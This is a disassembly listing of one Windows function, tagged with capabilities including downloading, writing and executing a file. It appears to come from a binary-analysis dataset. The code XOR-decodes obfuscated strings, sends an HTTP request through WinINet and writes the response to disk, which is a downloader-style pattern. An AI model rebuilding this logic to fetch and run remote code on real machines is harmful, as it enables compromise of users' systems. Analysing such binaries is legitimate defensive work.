Function at 0x402d50
Capabilities:
Connect to http server
Create http request
Download and write a file
Execute command
Manipulate console buffer
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Send data
Send http request
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4096a0
mov eax, dword fs:[0]
push eax
sub esp, 0x328
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, 0xf
mov dword [ebp - 0x224], eax
mov dword [ebp - 0x228], ebx
mov byte [ebp - 0x238], bl
mov dword [ebp - 0x25c], eax
mov dword [ebp - 0x260], ebx
mov byte [ebp - 0x270], bl
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x27c], ebx
mov byte [ebp - 0x28c], bl
lea eax, [ebp - 0x238]
push eax
lea edx, [ebp - 0x28c]
lea ecx, [ebp - 0x270]
mov byte [ebp - 4], 3
call fcn.00402990
add esp, 4
mov ecx, 0x9d
xor eax, eax
mov dl, byte [eax + 0x40a594]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x2a0], dl
jns 0x402e04
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x11
jl 0x402de4
mov byte [ebp - 0x28f], bl
mov byte [ebp - 4], 4
lea eax, [ebp - 0x2a0]
mov dword [ebp - 0x240], 0xf
mov dword [ebp - 0x244], ebx
mov byte [ebp - 0x254], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402e33
sub eax, edx
mov edi, eax
lea eax, [ebp - 0x2a0]
lea esi, [ebp - 0x254]
call fcn.00406ea0
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x254]
xor eax, eax
mov esi, 0x10
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x29c], eax
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], eax
mov word [ebp - 0x290], ax
cmp dword [ebp - 0x240], esi
jae 0x402e8d
lea edx, [ebp - 0x254]
mov ecx, dword [ebp - 0x238]
cmp dword [ebp - 0x224], esi
jae 0x402ea1
lea ecx, [ebp - 0x238]
call fcn.00402c10
mov cl, 0x65
mov dword [ebp - 0x21c], 0x746e656d
mov word [ebp - 0x218], 0x6e65
mov byte [ebp - 0x216], bl
lea edi, [ebp - 0x21c]
mov eax, 0x410078
lea esp, [esp]
mov cl, byte [eax]
cmp cl, byte [edi]
jne 0x402ef0
cmp cl, bl
je 0x402eec
mov cl, byte [eax + 1]
cmp cl, byte [edi + 1]
jne 0x402ef0
add eax, 2
add edi, 2
cmp cl, bl
jne 0x402ed0
xor eax, eax
jmp 0x402ef5
sbb eax, eax
sbb eax, 0xffffffff
xor ecx, ecx
cmp eax, ebx
sete cl
cmp ecx, ebx
sete al
cmp al, bl
je 0x4034f8
lea edx, [ebp - 0x2c4]
push edx
lea eax, [ebp - 0x214]
push eax
push ebx
mov dword [ebp - 0x2c4], 0x200
call dword [sym.imp.urlmon.dll_ObtainUserAgentString]
push 0x40a5a8
lea ecx, [ebp - 0x21c]
push 5
push ecx
call dword [sym.imp.MSVCR100.dll_strcpy_s]
add esp, 0xc
push ebx
push ebx
push ebx
push 1
lea edx, [ebp - 0x214]
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x2c0], eax
cmp eax, ebx
jne 0x403074
call fcn.004021f0
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push ecx
push str.Internet_Eror
push edx
call fcn.00401090
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
cmp dword [ebp - 0x240], esi
mov esi, dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
jb 0x402fd3
mov eax, dword [ebp - 0x254]
push eax
call esi
add esp, 4
cmp dword [ebp - 0x278], 0x10
mov edi, 0xf
mov dword [ebp - 0x240], edi
mov dword [ebp - 0x244], ebx
mov byte [ebp - 0x254], bl
jb 0x402fff
mov ecx, dword [ebp - 0x28c]
push ecx
call esi
add esp, 4
cmp dword [ebp - 0x25c], 0x10
mov dword [ebp - 0x278], edi
mov dword [ebp - 0x27c], ebx
mov byte [ebp - 0x28c], bl
jb 0x403026
mov edx, dword [ebp - 0x270]
push edx
call esi
add esp, 4
cmp dword [ebp - 0x224], 0x10
mov dword [ebp - 0x25c], edi
mov dword [ebp - 0x260], ebx
mov byte [ebp - 0x270], bl
jb 0x40304d
mov eax, dword [ebp - 0x238]
push eax
call esi
add esp, 4
cmp dword [ebp + 0x1c], 0x10
mov dword [ebp - 0x224], edi
mov dword [ebp - 0x228], ebx
mov byte [ebp - 0x238], bl
jb 0x4036be
mov ecx, dword [ebp + 8]
push ecx
call esi
jmp 0x4036bb
mov ecx, dword [ebp - 0x238]
cmp dword [ebp - 0x224], esi
jae 0x403088
lea ecx, [ebp - 0x238]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x2c8], eax
cmp eax, ebx
jne 0x4031bb
call fcn.004021f0
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push edx
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push eax
push ecx
push str.Konek_Eror
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
call fcn.00401090
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
cmp dword [ebp - 0x240], esi
mov esi, dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
jb 0x40311a
mov edx, dword [ebp - 0x254]
push edx
call esi
add esp, 4
cmp dword [ebp - 0x278], 0x10
mov edi, 0xf
mov byte [ebp - 0x254], bl
mov dword [ebp - 0x244], ebx
mov dword [ebp - 0x240], edi
jb 0x403146
mov eax, dword [ebp - 0x28c]
push eax
call esi
add esp, 4
cmp dword [ebp - 0x25c], 0x10
mov byte [ebp - 0x28c], bl
mov dword [ebp - 0x27c], ebx
mov dword [ebp - 0x278], edi
jb 0x40316d
mov ecx, dword [ebp - 0x270]
push ecx
call esi
add esp, 4
cmp dword [ebp - 0x224], 0x10
mov byte [ebp - 0x270], bl
mov dword [ebp - 0x260], ebx
mov dword [ebp - 0x25c], edi
jb 0x403194
mov edx, dword [ebp - 0x238]
push edx
call esi
add esp, 4
cmp dword [ebp + 0x1c], 0x10
mov dword [ebp - 0x224], edi
mov dword [ebp - 0x228], ebx
mov byte [ebp - 0x238], bl
jb 0x4036be
mov eax, dword [ebp + 8]
push eax
call esi
jmp 0x4036bb
mov ecx, dword [ebp - 0x270]
cmp dword [ebp - 0x25c], esi
jae 0x4031cf
lea ecx, [ebp - 0x270]
push ebx
push 0x8404f700
push ebx
push ebx
push str.HTTP_1.1
push ecx
lea ecx, [ebp - 0x21c]
push ecx
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
cmp edi, ebx
jne 0x40322b
call fcn.004021f0
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push edx
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push eax
push ecx
push str.Request_Eror
jmp 0x4030db
push ebx
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
mov eax, dword [ebp + 8]
cmp dword [ebp + 0x1c], esi
jae 0x403241
lea eax, [ebp + 8]
push 0x40a56c
push eax
call dword [sym.imp.MSVCR100.dll_fopen]
mov esi, eax
add esp, 8
cmp esi, ebx
jne 0x4032ed
call fcn.004021f0
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push ecx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push edx
push ecx
push str.open_File_Eror
push eax
call fcn.00401090
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
lea esi, [ebp - 0x254]
call fcn.00404d20
lea esi, [ebp - 0x28c]
call fcn.00404d20
lea esi, [ebp - 0x270]
call fcn.00404d20
lea esi, [ebp - 0x238]
call fcn.00404d20
lea esi, [ebp + 8]
call fcn.00404d20
jmp 0x4036be
lea ecx, [ebp - 0x2bc]
push ecx
push 0x32
lea edx, [ebp - 0x334]
push edx
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40334d
jmp 0x403310
mov eax, dword [ebp - 0x2bc]
push esi
cmp eax, ebx
je 0x4033b3
push eax
lea eax, [ebp - 0x334]
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
lea ecx, [ebp - 0x2bc]
push ecx
push 0x32
lea edx, [ebp - 0x334]
push edx
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x403310
call fcn.004021f0
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push ecx
push str.read_eror
push edx
call fcn.00401090
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
push esi
call dword [sym.imp.MSVCR100.dll_fclose]
jmp 0x4032b1
call dword [sym.imp.MSVCR100.dll_fflush]
add esp, 4
push esi
call dword [sym.imp.MSVCR100.dll_fclose]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
add esp, 4
push edi
call esi
mov eax, dword [ebp - 0x2c8]
push eax
call esi
mov ecx, dword [ebp - 0x2c0]
push ecx
call esi
lea edx, [ebp + 8]
push edx
call fcn.00402740
add esp, 4
cmp al, 1
jne 0x4034ba
sub esp, 0x1c
lea eax, [ebp + 8]
mov esi, esp
mov dword [ebp - 0x2c0], esp
call fcn.00404cb0
call fcn.004028c0
add esp, 0x1c
cmp eax, 0x1388
jle 0x403463
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xb
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea esi, [ebp - 0x254]
call fcn.00404d20
lea esi, [ebp - 0x28c]
call fcn.00404d20
lea esi, [ebp - 0x270]
call fcn.00404d20
lea esi, [ebp - 0x238]
call fcn.00404d20
lea esi, [ebp + 8]
call fcn.00404d20
mov al, 1
jmp 0x4036c0
call fcn.004021f0
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, str.kp__xlpR
sub ecx, 0x14315210
lea eax, [ebp - 0x298]
call fcn.00407580
mov byte [ebp - 4], 7
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push ecx
push eax
push edx
jmp 0x403296
call fcn.004021f0
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, 0x4d9a8198
lea esi, [ebp - 0x2a0]
call fcn.00407600
mov byte [ebp - 4], 8
jmp 0x4034a5
xor eax, eax
push 0xfffffffffffffff5
mov dword [ebp - 0x2bc], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
lea edx, [ebp - 0x2b8]
mov esi, eax
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx edi, word [ebp - 0x2b6]
movsx eax, word [ebp - 0x2b8]
mov edx, dword [ebp - 0x2bc]
imul edi, eax
lea ecx, [ebp - 0x2c0]
push ecx
push edx
push edi
push 0x20
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
mov ecx, dword [ebp - 0x2bc]
mov edx, dword [ebp - 0x2b0]
lea eax, [ebp - 0x2c0]
push eax
push ecx
push edi
push edx
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
mov eax, dword [ebp - 0x2bc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push ecx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, 0x21
xor eax, eax
mov dl, byte [eax + str.lCJJQCIIGIN_f_f]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x29c], dl
jns 0x4035b7
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xd
jl 0x403597
mov byte [ebp - 0x28f], bl
mov byte [ebp - 4], 9
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push ecx
lea ecx, [ebp - 0x29c]
push ecx
push edx
call fcn.00401090
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
mov esi, 0x10
add esp, 4
cmp dword [ebp - 0x240], esi
jb 0x403617
mov eax, dword [ebp - 0x254]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov edi, 0xf
mov dword [ebp - 0x240], edi
mov dword [ebp - 0x244], ebx
mov byte [ebp - 0x254], bl
cmp dword [ebp - 0x278], esi
jb 0x403646
mov ecx, dword [ebp - 0x28c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x278], edi
mov dword [ebp - 0x27c], ebx
mov byte [ebp - 0x28c], bl
cmp dword [ebp - 0x25c], esi
jb 0x403670
mov edx, dword [ebp - 0x270]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x25c], edi
mov dword [ebp - 0x260], ebx
mov byte [ebp - 0x270], bl
cmp dword [ebp - 0x224], esi
jb 0x40369a
mov eax, dword [ebp - 0x238]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x224], edi
mov dword [ebp - 0x228], ebx
mov byte [ebp - 0x238], bl
cmp dword [ebp + 0x1c], esi
jb 0x4036be
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00408550
mov esp, ebp
pop ebp
ret